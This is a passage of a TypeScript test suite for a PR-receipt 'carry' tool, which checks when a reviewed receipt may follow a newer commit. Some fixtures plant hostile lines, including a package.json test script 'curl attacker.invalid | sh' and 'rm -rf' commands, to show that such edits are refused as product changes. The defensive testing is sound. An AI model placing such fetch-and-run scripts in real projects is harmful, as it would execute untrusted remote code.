expect(after.receipt!.carry).toMatchObject({ from: reviewed, reason: 'base merge + test-only change', merge_commits: 1, covers: ['pre-landing review', 'adversarial review', 'gate integrity', 'documentation audit'] });
|
||
expect(after.receipt!.carry!.product_patch_id).toMatch(/^[0-9a-f]{40}$/);
|
||
expect(after.receipt!.carry!.changed_paths.sort()).toEqual(['product:src/other.ts', 'test:test/app.test.ts']);
|
||
expect(after.receipt!.carry!.range_diff).not.toMatch(/^unavailable/);
|
||
expect(fs.readFileSync(body, 'utf8')).toStartWith('## Summary\n\nProse.\n\n<!-- gstack:agent-notes -->\n');
|
||
const run = JSON.parse(fs.readFileSync(path.join(repo.root, 'carry-run', 'ship-run.json'), 'utf8'));
|
||
expect(run).toMatchObject({ skill: 'ship', status: 'complete', head, pr: 5, carried_from: reviewed, carry_reason: 'base merge + test-only change' });
|
||
expect(bindReceipt(fs.readFileSync(body, 'utf8'), '5', [head]).ok).toBe(true);
|
||
// already current
|
||
const current = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env);
|
||
expect([current.status, current.out.trim()]).toEqual([EXIT.ok, `CARRY: current (the receipt already names ${head.slice(0, 12)})`]);
|
||
// a product change does not carry, and the body keeps the receipt it had
|
||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 3;\n');
|
||
repo.git('commit', '-qam', 'feat: a=3');
|
||
const changed = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env);
|
||
expect(changed.status).toBe(EXIT.refused);
|
||
expect(changed.out.trim()).toBe('CARRY: refused (RECEIPT_CARRY_PRODUCT_CHANGED)\nGSTACK_RESULT: skill=ship status=refused run=-');
|
||
expect(changed.err).toContain(`product diff changed between ${head.slice(0, 12)} and ${repo.git('rev-parse', 'HEAD').slice(0, 12)}: src/app.ts`);
|
||
expect(changed.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED; https://github.com/garrytan/gstack/blob/main/docs/troubleshooting.md#receipt-carry-product-changed)');
|
||
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(head);
|
||
});
|
||
|
||
test('a rebased head (receipt head not an ancestor), a body without a receipt and another PR\'s receipt are refused; through gh the body is posted with gh pr edit', () => {
|
||
const repo = fixture();
|
||
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'a\n');
|
||
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
|
||
repo.git('checkout', '-qb', 'feat');
|
||
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'b\n');
|
||
repo.git('commit', '-qam', 'feat');
|
||
const reviewed = repo.git('rev-parse', 'HEAD');
|
||
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state') };
|
||
const foreign = path.join(repo.root, 'foreign.md');
|
||
fs.writeFileSync(foreign, placeReceipt('x\n', { schema_version: 1, pr: 5, head: 'c'.repeat(40), base: 'main' } as any));
|
||
repo.git('commit', '-q', '--allow-empty', '-m', 'empty follow-up');
|
||
const notAncestor = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', foreign], env);
|
||
expect(notAncestor.status).toBe(EXIT.refused);
|
||
expect(notAncestor.err).toContain('is not an ancestor of HEAD');
|
||
expect(notAncestor.err).toContain('(RECEIPT_CARRY_REFUSED;');
|
||
const none = path.join(repo.root, 'none.md');
|
||
fs.writeFileSync(none, 'No receipt.\n');
|
||
expect(runBin(repo, 'gstack-ship-receipt', ['carry', '--body', none], env).err).toContain('(QUEUE_RECEIPT_MISSING;');
|
||
expect(runBin(repo, 'gstack-ship-receipt', ['carry'], env).status).toBe(EXIT.usage);
|
||
expect(runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '5', '--body', none], env).status).toBe(EXIT.usage);
|
||
// through gh: the shim records the edit
|
||
const head = repo.git('rev-parse', 'HEAD');
|
||
const shimDir = path.join(repo.root, 'gh2');
|
||
fs.mkdirSync(shimDir);
|
||
const posted = path.join(shimDir, 'posted.md');
|
||
const prBody = placeReceipt('## Summary\n\nProse.\n', { schema_version: 1, pr: 8, head: reviewed, base: 'main' } as any);
|
||
fs.writeFileSync(path.join(shimDir, 'pr.json'), JSON.stringify({ body: prBody, headRefOid: head }));
|
||
fs.writeFileSync(path.join(shimDir, 'gh'), [
|
||
'#!/bin/sh',
|
||
`if [ "$1" = pr ] && [ "$2" = view ]; then cat "${path.join(shimDir, 'pr.json')}"; exit 0; fi`,
|
||
`if [ "$1" = pr ] && [ "$2" = edit ]; then shift 3; [ "$1" = --body-file ] || exit 9; cp "$2" "${posted}"; exit 0; fi`,
|
||
'echo "unsupported $*" >&2; exit 1', '',
|
||
].join('\n'), { mode: 0o755 });
|
||
const viaGh = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', path.join(repo.root, 'run')], { ...env, PATH: `${shimDir}:${process.env.PATH}` });
|
||
expect(viaGh.status).toBe(EXIT.ok);
|
||
expect(viaGh.out).toContain(`CARRY: carried from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (no content change)`);
|
||
const postedReceipt = extractReceipt(fs.readFileSync(posted, 'utf8'));
|
||
expect(postedReceipt.receipt).toMatchObject({ pr: 8, head, carry: { from: reviewed, reason: 'no content change', merge_commits: 0 } });
|
||
expect(fs.readFileSync(posted, 'utf8')).toContain('## Summary\n\nProse.\n');
|
||
const other = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '9'], { ...env, PATH: `${shimDir}:${process.env.PATH}` });
|
||
expect(other.status).toBe(EXIT.refused);
|
||
expect(other.err).toContain('the receipt names pr=8, not this PR');
|
||
});
|
||
|
||
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
|
||
// Value: protects=a release-metadata-only change (VERSION, CHANGELOG, lockfile, the policy's stamp_paths and release_outputs)
|
||
// carries with reason "release metadata" and every path classed metadata, so a stamp never sends a Captain back through a full
|
||
// /ship; fails_when=the metadata globs or the policy-derived extras stop excluding those paths from the product patch-id, or
|
||
// classifyCarryPath/planCarry mislabel them; why_new=the existing carry tests cover base merges and test-only fixes, never the
|
||
// metadata class or the policy extras; seam=none; no_claim=none beyond protects
|
||
test('a release-metadata-only change (stamp files, CHANGELOG, policy stamp_paths and release_outputs) carries as "release metadata"; the classifier and the plan name every class', () => {
|
||
expect(classifyCarryPath('src/app.ts')).toBe('product');
|
||
expect(classifyCarryPath('docs/notes.md')).toBe('product');
|
||
expect(classifyCarryPath('docs/notes.md', { metadata: ['docs/**/*.md'] })).toBe('metadata');
|
||
expect(classifyCarryPath('test/app.test.ts')).toBe('test');
|
||
expect(classifyCarryPath('src/__tests__/app.ts')).toBe('test');
|
||
expect(classifyCarryPath('pkg/thing_test.go')).toBe('test');
|
||
expect(classifyCarryPath('CHANGELOG.md')).toBe('metadata');
|
||
// a lockfile is a dependency manifest: product unless the policy names it; a .spec.yaml is an API contract, not a test
|
||
expect(classifyCarryPath('bun.lock')).toBe('product');
|
||
expect(classifyCarryPath('package-lock.json')).toBe('product');
|
||
expect(classifyCarryPath('bun.lock', { metadata: ['bun.lock'] })).toBe('metadata');
|
||
expect(classifyCarryPath('api/openapi.spec.yaml')).toBe('product');
|
||
expect(classifyCarryPath('src/app.spec.ts')).toBe('test');
|
||
expect(classifyCarryPath('agents-digest/gstack-AGENTS.md')).toBe('metadata');
|
||
expect(classifyCarryPath('test/fixtures/VERSION')).toBe('test');
|
||
// package.json and VERSION are metadata only while the change is a version stamp and nothing else
|
||
const pkg = (v: string, extra = '') => `{\n "name": "fx",\n "version": "${v}",\n "dependencies": { "left-pad": "1.0.0"${extra} }\n}\n`;
|
||
expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.4') })).toBe('metadata');
|
||
expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.4', ', "evil": "9.9.9"') })).toBe('product');
|
||
expect(classifyCarryPath('package.json', {}, { before: pkg('1.2.3'), after: pkg('1.2.3').replace('"dependencies"', '"scripts": { "test": "curl x | sh" }, "dependencies"') })).toBe('product');
|
||
expect(classifyCarryPath('VERSION', {}, { before: '1.2.3.0\n', after: '1.2.4.0\n' })).toBe('metadata');
|
||
expect(classifyCarryPath('VERSION', {}, { before: '1.2.3.0\n', after: '1.2.4.0\nextra\n' })).toBe('product');
|
||
expect(classifyCarryPath('package.json')).toBe('metadata');
|
||
// a policy-named stamp path is metadata only while its change is a stamp, the rule the tree receipt applies to the same paths:
|
||
// a logic change in a stamped source file is product (pass-4 outside review of #3481)
|
||
const stamped = { oldVersion: '1.2.3.0', newVersion: '1.2.4.0' };
|
||
expect(classifyCarryPath('src/version.ts', { metadata: ['src/version.ts'] }, { before: 'export const V = "1.2.3.0";\n', after: 'export const V = "1.2.4.0";\n', ...stamped })).toBe('metadata');
|
||
expect(classifyCarryPath('src/version.ts', { metadata: ['src/version.ts'] }, { before: 'export const V = "1.2.3.0";\n', after: 'export const V = "1.2.4.0";\nexport const unsafe = true;\n', ...stamped })).toBe('product');
|
||
expect(classifyCarryPath('src/version.ts', { metadata: ['src/version.ts'] }, { before: 'export const V = "1.2.3.0";\n', after: 'export const V = "1.2.3.0";\nexport const unsafe = true;\n', oldVersion: '1.2.3.0', newVersion: '1.2.3.0' })).toBe('product');
|
||
expect(classifyCarryPath('plugin/manifest.json', { metadata: ['plugin/**'] }, { before: '{\n "version": "1.2.3"\n}\n', after: '{\n "version": "1.2.4"\n}\n', ...stamped })).toBe('metadata');
|
||
expect(classifyCarryPath('plugin/manifest.json', { metadata: ['plugin/**'] }, { before: '{\n "version": "1.2.3"\n}\n', after: '{\n "version": "1.2.4",\n "permissions": ["all"]\n}\n', ...stamped })).toBe('product');
|
||
expect(stampOnlyText({ before: 'v1.2.3.0', after: 'v1.2.4.0', ...stamped })).toBe(true);
|
||
expect(stampOnlyText({ before: null, after: 'v1.2.4.0', ...stamped })).toBe(false);
|
||
expect(stampOnlyText({ before: 'v1.2.3.0', after: 'v1.2.4.0', oldVersion: null, newVersion: '1.2.4.0' })).toBe(false);
|
||
const base = { from: 'f'.repeat(40), head: 'e'.repeat(40), productPatchId: { from: 'p', head: 'p' }, testPatchId: { from: 't', head: 't' }, changedProduct: [], mergeCommits: 0, rangeDiff: 'rd' };
|
||
const meta = planCarry({ ...base, changed: [{ path: 'VERSION', class: 'metadata' }, { path: 'CHANGELOG.md', class: 'metadata' }] });
|
||
expect(meta.ok && meta.carry.reason).toBe('release metadata');
|
||
expect(meta.ok && meta.carry.changed_paths).toEqual(['metadata:VERSION', 'metadata:CHANGELOG.md']);
|
||
const merges = planCarry({ ...base, mergeCommits: 2, changed: [{ path: 'src/other.ts', class: 'product' }] });
|
||
expect(merges.ok && merges.carry.reason).toBe('2 base merges');
|
||
const reverted = planCarry({ ...base, changed: [{ path: 'src/other.ts', class: 'product' }] });
|
||
expect(reverted.ok && reverted.carry.reason).toBe('no product change');
|
||
const empty = planCarry({ ...base, changed: [] });
|
||
expect(empty.ok && [empty.carry.reason, empty.carry.product_patch_id]).toEqual(['no content change', 'p']);
|
||
expect(planCarry({ ...base, productPatchId: { from: '', head: '' }, changed: [] }).ok && (planCarry({ ...base, productPatchId: { from: '', head: '' }, changed: [] }) as any).carry.product_patch_id).toBe('none');
|
||
const changed = planCarry({ ...base, productPatchId: { from: 'p', head: 'q' }, mergeCommits: 1, changed: [], changedProduct: Array.from({ length: 22 }, (_, i) => `src/f${i}.ts`) });
|
||
expect(changed.ok).toBe(false);
|
||
expect(!changed.ok && changed.code).toBe('RECEIPT_CARRY_PRODUCT_CHANGED');
|
||
expect(!changed.ok && changed.message).toContain('src/f0.ts, src/f1.ts');
|
||
expect(!changed.ok && changed.message).toContain('src/f19.ts (+2 more)');
|
||
expect(!changed.ok && changed.message).not.toContain('src/f20.ts');
|
||
|
||
const repo = fixture();
|
||
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
|
||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n');
|
||
repo.git('add', '.'); repo.git('commit', '-qm', 'seed app'); repo.git('push', '-q', 'origin', 'main');
|
||
repo.git('checkout', '-qb', 'feat');
|
||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n');
|
||
repo.git('commit', '-qam', 'feat: a=2');
|
||
const reviewed = repo.git('rev-parse', 'HEAD');
|
||
// the stamp: VERSION, package.json (version only), the CHANGELOG, a stamp_paths doc and a release_outputs file
|
||
fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.4.0\n');
|
||
fs.writeFileSync(path.join(repo.work, 'package.json'), fs.readFileSync(path.join(repo.work, 'package.json'), 'utf8').replace('"version": "1.2.3"', '"version": "1.2.4"'));
|
||
fs.writeFileSync(path.join(repo.work, 'CHANGELOG.md'), fs.readFileSync(path.join(repo.work, 'CHANGELOG.md'), 'utf8').replace('# Changelog\n', '# Changelog\n\n## [1.2.4.0] - 2026-10-26\n\n- a=2\n'));
|
||
fs.writeFileSync(path.join(repo.work, 'docs', 'notes.md'), fs.readFileSync(path.join(repo.work, 'docs', 'notes.md'), 'utf8').replace('v1.2.3.0', 'v1.2.4.0'));
|
||
fs.writeFileSync(path.join(repo.work, 'generated', 'digest.md'), '# digest v1.2.4.0\nbody\n');
|
||
repo.git('commit', '-qam', 'stamp 1.2.4.0');
|
||
const head = repo.git('rev-parse', 'HEAD');
|
||
const body = path.join(repo.root, 'body.md');
|
||
fs.writeFileSync(body, placeReceipt('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: reviewed, base: 'main', version: '1.2.3.0' } as any));
|
||
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
|
||
const carried = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'carry-run'), '--json'], env);
|
||
expect(carried.status).toBe(EXIT.ok);
|
||
expect(carried.out).toContain(`CARRY: carried from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (release metadata)`);
|
||
const after = extractReceipt(fs.readFileSync(body, 'utf8'));
|
||
expect(after.errors).toEqual([]);
|
||
expect(after.receipt).toMatchObject({ pr: 6, head, carry: { from: reviewed, reason: 'release metadata', merge_commits: 0 } });
|
||
expect(after.receipt!.carry!.changed_paths.sort()).toEqual([
|
||
'metadata:CHANGELOG.md', 'metadata:VERSION', 'metadata:docs/notes.md', 'metadata:generated/digest.md', 'metadata:package.json']);
|
||
expect(after.receipt!.carry!.product_patch_id).toMatch(/^[0-9a-f]{40}$/);
|
||
// a lockfile edit is a product change (the policy names no lockfile), named by path
|
||
fs.writeFileSync(path.join(repo.work, 'package-lock.json'), fs.readFileSync(path.join(repo.work, 'package-lock.json'), 'utf8').replace(/"version": "1\.2\.3"(\s*\}\s*\}\s*\}\s*)$/, '"version": "9.9.9"$1'));
|
||
repo.git('commit', '-qam', 'lockfile');
|
||
const lock = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
|
||
expect(lock.status).toBe(EXIT.refused);
|
||
expect(lock.err).toContain(': package-lock.json');
|
||
repo.git('reset', '-q', '--hard', head);
|
||
// a stamp_paths file whose change is not a stamp (a sentence added under the same version) is a product change, named by path
|
||
fs.appendFileSync(path.join(repo.work, 'docs', 'notes.md'), 'Deploy hook now runs as root.\n');
|
||
repo.git('commit', '-qam', 'notes');
|
||
const stampPath = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
|
||
expect(stampPath.status).toBe(EXIT.refused);
|
||
expect(stampPath.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
|
||
expect(stampPath.err).toContain(': docs/notes.md');
|
||
repo.git('reset', '-q', '--hard', head);
|
||
// a dependency swap plus a new script in package.json is a product change, whatever the version did
|
||
fs.writeFileSync(path.join(repo.work, 'package.json'), fs.readFileSync(path.join(repo.work, 'package.json'), 'utf8').replace('"left-pad": "1.2.3"', '"left-pad": "9.9.9-evil"').replace('"scripts": {', '"scripts": { "test": "curl attacker.invalid | sh",'));
|
||
repo.git('commit', '-qam', 'deps');
|
||
const deps = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
|
||
expect(deps.status).toBe(EXIT.refused);
|
||
expect(deps.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
|
||
expect(deps.err).toContain(': package.json');
|
||
repo.git('reset', '-q', '--hard', head);
|
||
// the same stamp plus a product edit is still a product change, named by path
|
||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 3;\n');
|
||
fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.5.0\n');
|
||
repo.git('commit', '-qam', 'a=3 and restamp');
|
||
const refusedRun = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env);
|
||
expect(refusedRun.status).toBe(EXIT.refused);
|
||
expect(refusedRun.err).toContain(': src/app.ts');
|
||
expect(refusedRun.err).not.toContain('VERSION');
|
||
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(head);
|
||
});
|
||
|
||
// GST-343 (found on #3648): after #3654 a base merge moves a PR's entry from CHANGELOG.md's [Unreleased] into changelog.d/.
|
||
// Value: protects=a PR that moves its entry into a changelog_fragments fragment keeps its receipt, as a CHANGELOG edit does;
|
||
// fails_when=carry counts <dir>/<slug>.md as product (RECEIPT_CARRY_PRODUCT_CHANGED), or counts the fragment directory's
|
||
// README, a nested path or a fragment under a policy without changelog_fragments as metadata; why_new=carry had no
|
||
// fragments rule; seam=none; no_claim=gh pr edit (--body stands in)
|
||
test('a merge-only head that moves the entry into a changelog_fragments fragment carries; the README, a nested path and a fragment with no fragments policy are product', () => {
|
||
const frag = { metadata: [], fragments: 'changelog.d' };
|
||
expect(classifyCarryPath('changelog.d/feat.md', frag)).toBe('metadata');
|
||
expect(classifyCarryPath('changelog.d/README.md', frag)).toBe('product');
|
||
expect(classifyCarryPath('changelog.d/sub/feat.md', frag)).toBe('product');
|
||
expect(classifyCarryPath('changelog.d/feat.sh', frag)).toBe('product');
|
||
expect(classifyCarryPath('changelog.d/feat.md')).toBe('product');
|
||
const policy = (fragments: boolean) => JSON.stringify({ bump: 'patch', changelog: 'CHANGELOG.md', ...(fragments ? { changelog_fragments: { dir: 'changelog.d' }, min_gstack_version: '1.91.336.0' } : {}) }) + '\n';
|
||
const run = (fragments: boolean, extra: Record<string, string> = {}) => {
|
||
const repo = makeFixtureRepo({ policy: null, prefix: 'ship-receipt-frag-' }); repos.push(repo);
|
||
const put = (rel: string, text: string) => { fs.mkdirSync(path.dirname(path.join(repo.work, rel)), { recursive: true }); fs.writeFileSync(path.join(repo.work, rel), text); };
|
||
const released = fs.readFileSync(path.join(repo.work, 'CHANGELOG.md'), 'utf8');
|
||
put('src/app.ts', 'export const a = 1;\n');
|
||
repo.git('add', '-A'); repo.git('commit', '-qm', 'seed app'); repo.git('push', '-q', 'origin', 'main');
|
||
repo.git('checkout', '-qb', 'feat');
|
||
put('src/app.ts', 'export const a = 2;\n');
|
||
put('CHANGELOG.md', released.replace('# Changelog\n', '# Changelog\n\n## [Unreleased]\n\n- a=2\n'));
|
||
repo.git('add', '-A'); repo.git('commit', '-qm', 'feat: a=2');
|
||
const reviewed = repo.git('rev-parse', 'HEAD');
|
||
// main turns on fragments with their README (or only adds a policy without them), as #3654 did after #3606 was
|
||
// reviewed (GST-343); the merge moves the entry into changelog.d/feat.md
|
||
repo.git('checkout', '-q', 'main');
|
||
put('.gstack/ship-policy.json', policy(fragments));
|
||
put('changelog.d/README.md', '# fragments\n');
|
||
repo.git('add', '-A'); repo.git('commit', '-qm', 'policy'); repo.git('push', '-q', 'origin', 'main');
|
||
repo.git('checkout', '-q', 'feat');
|
||
repo.git('merge', '-q', '--no-commit', 'origin/main');
|
||
put('CHANGELOG.md', released);
|
||
put('changelog.d/feat.md', '- a=2\n');
|
||
for (const [rel, text] of Object.entries(extra)) put(rel, text);
|
||
repo.git('add', '-A'); repo.git('commit', '-qm', 'merge main; entry into a fragment');
|
||
const body = path.join(repo.root, 'body.md');
|
||
fs.writeFileSync(body, placeReceipt('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: reviewed, base: 'main', version: '1.2.3.0' } as any));
|
||
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
|
||
return { reviewed, head: repo.git('rev-parse', 'HEAD'), out: runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env) };
|
||
};
|
||
const moved = run(true);
|
||
expect(moved.out.status).toBe(EXIT.ok);
|
||
expect(moved.out.out).toContain(`CARRY: would carry from ${moved.reviewed.slice(0, 12)} to ${moved.head.slice(0, 12)} (base merge + release metadata)`);
|
||
const readme = run(true, { 'changelog.d/README.md': '# fragments\nRun rm -rf on merge.\n' });
|
||
expect(readme.out.status).toBe(EXIT.refused);
|
||
expect(readme.out.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
|
||
expect(readme.out.err).toContain('changelog.d/README.md');
|
||
const off = run(false);
|
||
expect(off.out.status).toBe(EXIT.refused);
|
||
expect(off.out.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
|
||
expect(off.out.err).toContain('changelog.d/feat.md');
|
||
}, 30_000);
|
||
|
||
// /ship Step 9 pass 1 (security specialist, reproduced in the QA smoke): the carry's proof was patch-id --stable, which strips whitespace.
|
||
// Value: protects=a product edit that only moves whitespace in a reviewed line (semantics in shell, YAML, Python) refuses to carry,
|
||
// and a dirty working tree refuses before anything is compared; fails_when=patchId drops --verbatim or the status check goes;
|
||
// why_new=the carry tests covered content edits only; seam=none; no_claim=none beyond protects
|
||
test('carry refuses a whitespace-only edit to a reviewed line and a working tree with uncommitted changes', () => {
|
||
const repo = fixture();
|
||
fs.mkdirSync(path.join(repo.work, 'bin'), { recursive: true });
|
||
fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\n');
|
||
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
|
||
repo.git('checkout', '-qb', 'feat');
|
||
fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\nrm -rf "$DIR"/x\n');
|
||
repo.git('commit', '-qam', 'reviewed');
|
||
const reviewed = repo.git('rev-parse', 'HEAD');
|
||
const body = path.join(repo.root, 'body.md');
|
||
fs.writeFileSync(body, placeReceipt('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: reviewed, base: 'main' } as any));
|
||
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
|
||
// a carry-able commit (a test) with a pending product edit beside it: the pending edit is not in what the carry compares
|
||
fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true });
|
||
fs.writeFileSync(path.join(repo.work, 'test', 'x.test.ts'), 'test\n');
|
||
repo.git('add', 'test'); repo.git('commit', '-qm', 'test');
|
||
fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\nrm -rf "$DIR" /x\n');
|
||
const dirty = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
|
||
expect(dirty.status).toBe(EXIT.refused);
|
||
expect(dirty.err).toContain('the working tree has uncommitted changes (bin/x.sh)');
|
||
expect(dirty.err).toContain('(RECEIPT_CARRY_REFUSED;');
|
||
repo.git('commit', '-qam', 'ws only');
|
||
const ws = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
|
||
expect(ws.status).toBe(EXIT.refused);
|
||
expect(ws.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
|
||
expect(ws.err).toContain(': bin/x.sh');
|
||
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(reviewed);
|
||
});
|
||
|
||
// /ship Step 9 pass 1 (testing specialist): a receipt carried twice named the carried head as its origin.
|
||
// Value: protects=a receipt carried A→B then B→C still names the reviewed head A, adds up the hops' merges and paths, and the
|
||
// run record's carried_from is A; fails_when=carryReceipt spreads the new carry over the old one; why_new=only single carries
|
||
// were tested; seam=none; no_claim=none beyond protects
|
||
test('a receipt carried twice keeps the reviewed head as carry.from and accumulates the hops', () => {
|
||
const repo = fixture();
|
||
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
|
||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n');
|
||
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 1;\n');
|
||
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
|
||
repo.git('checkout', '-qb', 'feat');
|
||
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n');
|
||
repo.git('commit', '-qam', 'feat');
|
||
const a = repo.git('rev-parse', 'HEAD');
|
||
// main moves on an unrelated file; feat merges it (hop 1), then a test lands (hop 2)
|
||
repo.git('checkout', '-q', 'main');
|
||
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 2;\n');
|
||
repo.git('commit', '-qam', 'main: other'); repo.git('push', '-q', 'origin', 'main');
|
||
repo.git('checkout', '-q', 'feat'); repo.git('merge', '-q', '--no-edit', 'main');
|
||
const b = repo.git('rev-parse', 'HEAD');
|
||
const body = path.join(repo.root, 'body.md');
|
||
fs.writeFileSync(body, placeReceipt('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: a, base: 'main' } as any));
|
||
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
|
||
expect(runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env).status).toBe(EXIT.ok);
|
||
fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true });
|
||
fs.writeFileSync(path.join(repo.work, 'test', 'app.test.ts'), 'test\n');
|
||
repo.git('add', '.'); repo.git('commit', '-qm', 'test');
|
||
const c = repo.git('rev-parse', 'HEAD');
|
||
const second = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'run2'), '--json'], env);
|
||
expect(second.status).toBe(EXIT.ok);
|
||
expect(second.out).toContain(`CARRY: carried from ${b.slice(0, 12)} to ${c.slice(0, 12)} (test-only change)`);
|
||
const receipt = extractReceipt(fs.readFileSync(body, 'utf8')).receipt!;
|
||
expect(receipt.head).toBe(c);
|
||
expect(receipt.carry).toMatchObject({ from: a, reason: 'base merge + test-only change', merge_commits: 1 });
|
||
expect(receipt.carry!.changed_paths).toEqual(['product:src/other.ts', 'test:test/app.test.ts']);
|
||
expect(receiptSummaryLine(receipt)).toContain(`carried_from=${a.slice(0, 12)}`);
|
||
const run = JSON.parse(fs.readFileSync(path.join(repo.root, 'run2', 'ship-run.json'), 'utf8'));
|
||
expect(run.carried_from).toBe(a);
|
||
});
|
||
|
||
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
|
||
// Value: protects=carry through gh never rebinds a receipt to a head GitHub has not seen (HEAD ahead of the pushed head is
|
||
// refused with "push first"), and a failed gh pr edit or gh pr view reports status=incomplete with the body left as it was,
|
||
// never status=complete; fails_when=the headRefOid check is dropped, or the gh failure path returns the terminal complete line
|
||
// or writes a run record; why_new=the existing gh carry test covers the happy post only; seam=none; no_claim=gh itself (a shim
|
||
// stands in for pr view and pr edit)
|
||
test('carry --pr refuses a HEAD that is not the pushed head, and a failing gh pr edit or pr view is incomplete with nothing carried', () => {
|
||
const repo = fixture();
|
||
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'a\n');
|
||
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
|
||
repo.git('checkout', '-qb', 'feat');
|
||
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'b\n');
|
||
repo.git('commit', '-qam', 'feat');
|
||
const reviewed = repo.git('rev-parse', 'HEAD');
|
||
repo.git('commit', '-q', '--allow-empty', '-m', 'empty follow-up');
|
||
const head = repo.git('rev-parse', 'HEAD');
|
||
const shimDir = path.join(repo.root, 'gh3');
|
||
fs.mkdirSync(shimDir);
|
||
const posted = path.join(shimDir, 'posted.md');
|
||
const prJson = path.join(shimDir, 'pr.json');
|
||
const editRc = path.join(shimDir, 'edit-rc');
|
||
const prBody = placeReceipt('## Summary\n\nProse.\n', { schema_version: 1, pr: 8, head: reviewed, base: 'main' } as any);
|
||
fs.writeFileSync(path.join(shimDir, 'gh'), [
|
||
'#!/bin/sh',
|
||
`if [ "$1" = pr ] && [ "$2" = view ]; then [ -f "${prJson}" ] || { echo "gh: HTTP 502" >&2; exit 1; }; cat "${prJson}"; exit 0; fi`,
|
||
`if [ "$1" = pr ] && [ "$2" = edit ]; then shift 3; [ "$1" = --body-file ] || exit 9; cp "$2" "${posted}"; rc=$(cat "${editRc}" 2>/dev/null || echo 0); [ "$rc" = 0 ] || echo "gh: validation failed" >&2; exit "$rc"; fi`,
|
||
'echo "unsupported $*" >&2; exit 1', '',
|
||
].join('\n'), { mode: 0o755 });
|
||
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), PATH: `${shimDir}:${process.env.PATH}` };
|
||
const runDir = path.join(repo.root, 'run');
|
||
// GitHub still has the reviewed head: the follow-up was never pushed
|
||
fs.writeFileSync(prJson, JSON.stringify({ body: prBody, headRefOid: reviewed }));
|
||
const unpushed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env);
|
||
expect(unpushed.status).toBe(EXIT.refused);
|
||
